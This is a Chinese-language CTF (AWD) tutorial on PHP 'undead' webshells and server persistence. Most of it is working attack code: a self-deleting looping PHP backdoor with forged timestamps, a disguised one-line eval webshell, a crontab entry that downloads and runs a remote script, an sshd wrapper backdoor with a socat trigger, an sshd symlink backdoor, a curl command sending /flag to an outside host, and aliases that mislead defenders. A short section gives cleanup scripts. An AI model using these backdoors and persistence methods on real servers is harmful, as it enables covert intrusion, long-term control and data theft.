AWD新手的不死马及权限维持思路

参考链接
https://jlkl.github.io/2019/02/08/Web_13/
https://rmb122.com/2019/04/04/%E5%B9%B2%E6%8E%89-PHP-%E4%B8%8D%E6%AD%BB%E9%A9%AC/
https://www.cnblogs.com/Cl0ud/p/13620537.html
https://zhuanlan.zhihu.com/p/88850561

概念

不死马指的是入到内存的webshell,在PHP中可以使用ulink删除自身文件并循环创建webshell。

不死马利用流程

首先根据web后门或者任何挖掘出来的漏洞尝试执行系统命令(如遗留的web后门等),通过该类漏洞成功执行写入不死马的系统命令并执行该不死马。比如通过内置的后门直接system(“echo 不死马脚本内容 >/var/www/html;php 不死马文件名.php”)。这样就会在该目录下不断生成一个不死马 比如.3.php。通过webshell管理工具或者使用Python写脚本批量访问去getflag。

不死马

这里偷个别的师傅的图先
paste image不死马一般长这样

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
ignore_user_abort(true);//设置与客户机断开是否会终止脚本的执行,这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
set_time_limit(0);
unlink(__FILE__);
$file = '.3.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
//pass=pass
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .3.php');
       usleep(0);
}
?>

该不死马不断生成.3.php,通过访问http://localhost/.3.php?pass=pass  然后POST a=system(“想要执行的系统命令”);即可通过不死马实现命令执行。这里使用MD5是因为防止别人骑着自己的马进去了,MD5理论上不可逆。如果使用python批量getshell的话大体思路就是

url=http://localhost/.3.php?pass=pass
data={“a”:”system("cat /flag");”}
flag=requests.post(url=url,data=data).text然后url变变就可以,一般会维护一个地址池 从地址池里面取url或者取特征(可能某个url字段不一样)直接打就行,再配合提交flag的api就可以实现自动getflag。

不死马删除

这里不死马删除有几个思路
1.shell脚本直接删除不死马

1
2
3
4
5
while :
do
rm -rf .3.php;
echo "remove success";
done

这里其实可以更完善一些,比如挂上while自动检测新增的文件 或者配合文件监控脚本实现新增之后直接调用函数删除新增的文件等等(Python实现,我不会shell)
2.PHP服务重启(awd环境可能不允许,因为权限较低)
service apache2 restart
service php restart

3.杀低权限PHP进程
php-apache:

1
2
<?php
system("kill `ps -ef | grep httpd | grep -v grep | awk '{print $2}'`");

php-fpm:

1
2
3
<?php
system("kill `ps -ef | grep php-fpm | grep -v grep | awk '{print $2}'`");

awd权限维持

AWD的权限维持其实和普通的权限维持差不多常用的大概有 crontab ssh软连接 sshwrapper。
详情参考https://xz.aliyun.com/t/7338细看了下这篇文章 发现了一个隐藏一句话的方法。

1
echo -e "<?=\`\$_POST[cmd]\`?>\r<?='System default page.';?>" >default.php

crontab添加计划任务自动写不死马

1
* * * * * curl http://host/sh.sh >/tmp/.tmp/1.sh;chmod u+x /tmp/.tmp/1.sh ; /tmp/.tmp/1.sh

本地起一个http服务 放上一个sh.sh脚本,里面写了创建php不死马的命令。
下面两种暂时利用失败 可能是腾讯云的原因。

1
2
3
4
5
6
7
8
9
10
11
12
13
ssh wrapper
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
exp:
socat STDIO TCP4:target_ip:22,sourceport=13377
ssh软连接
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
建立一个软连接,然后通过5555端口访问ssh服务

还有一种操作就是curl外带本地命令执行结果,这个也可以写到crontab里面,比较方便的使用提交flag的api提交flag。示例如下

curl “http://:7777?flag=$(cat /flag)”

一些小技巧

用来迷惑对手

1
2
alias crontab="echo no crontab for `whoami` ||"
alias cat="echo `date`|md5sum|cut -d ' ' -f1||"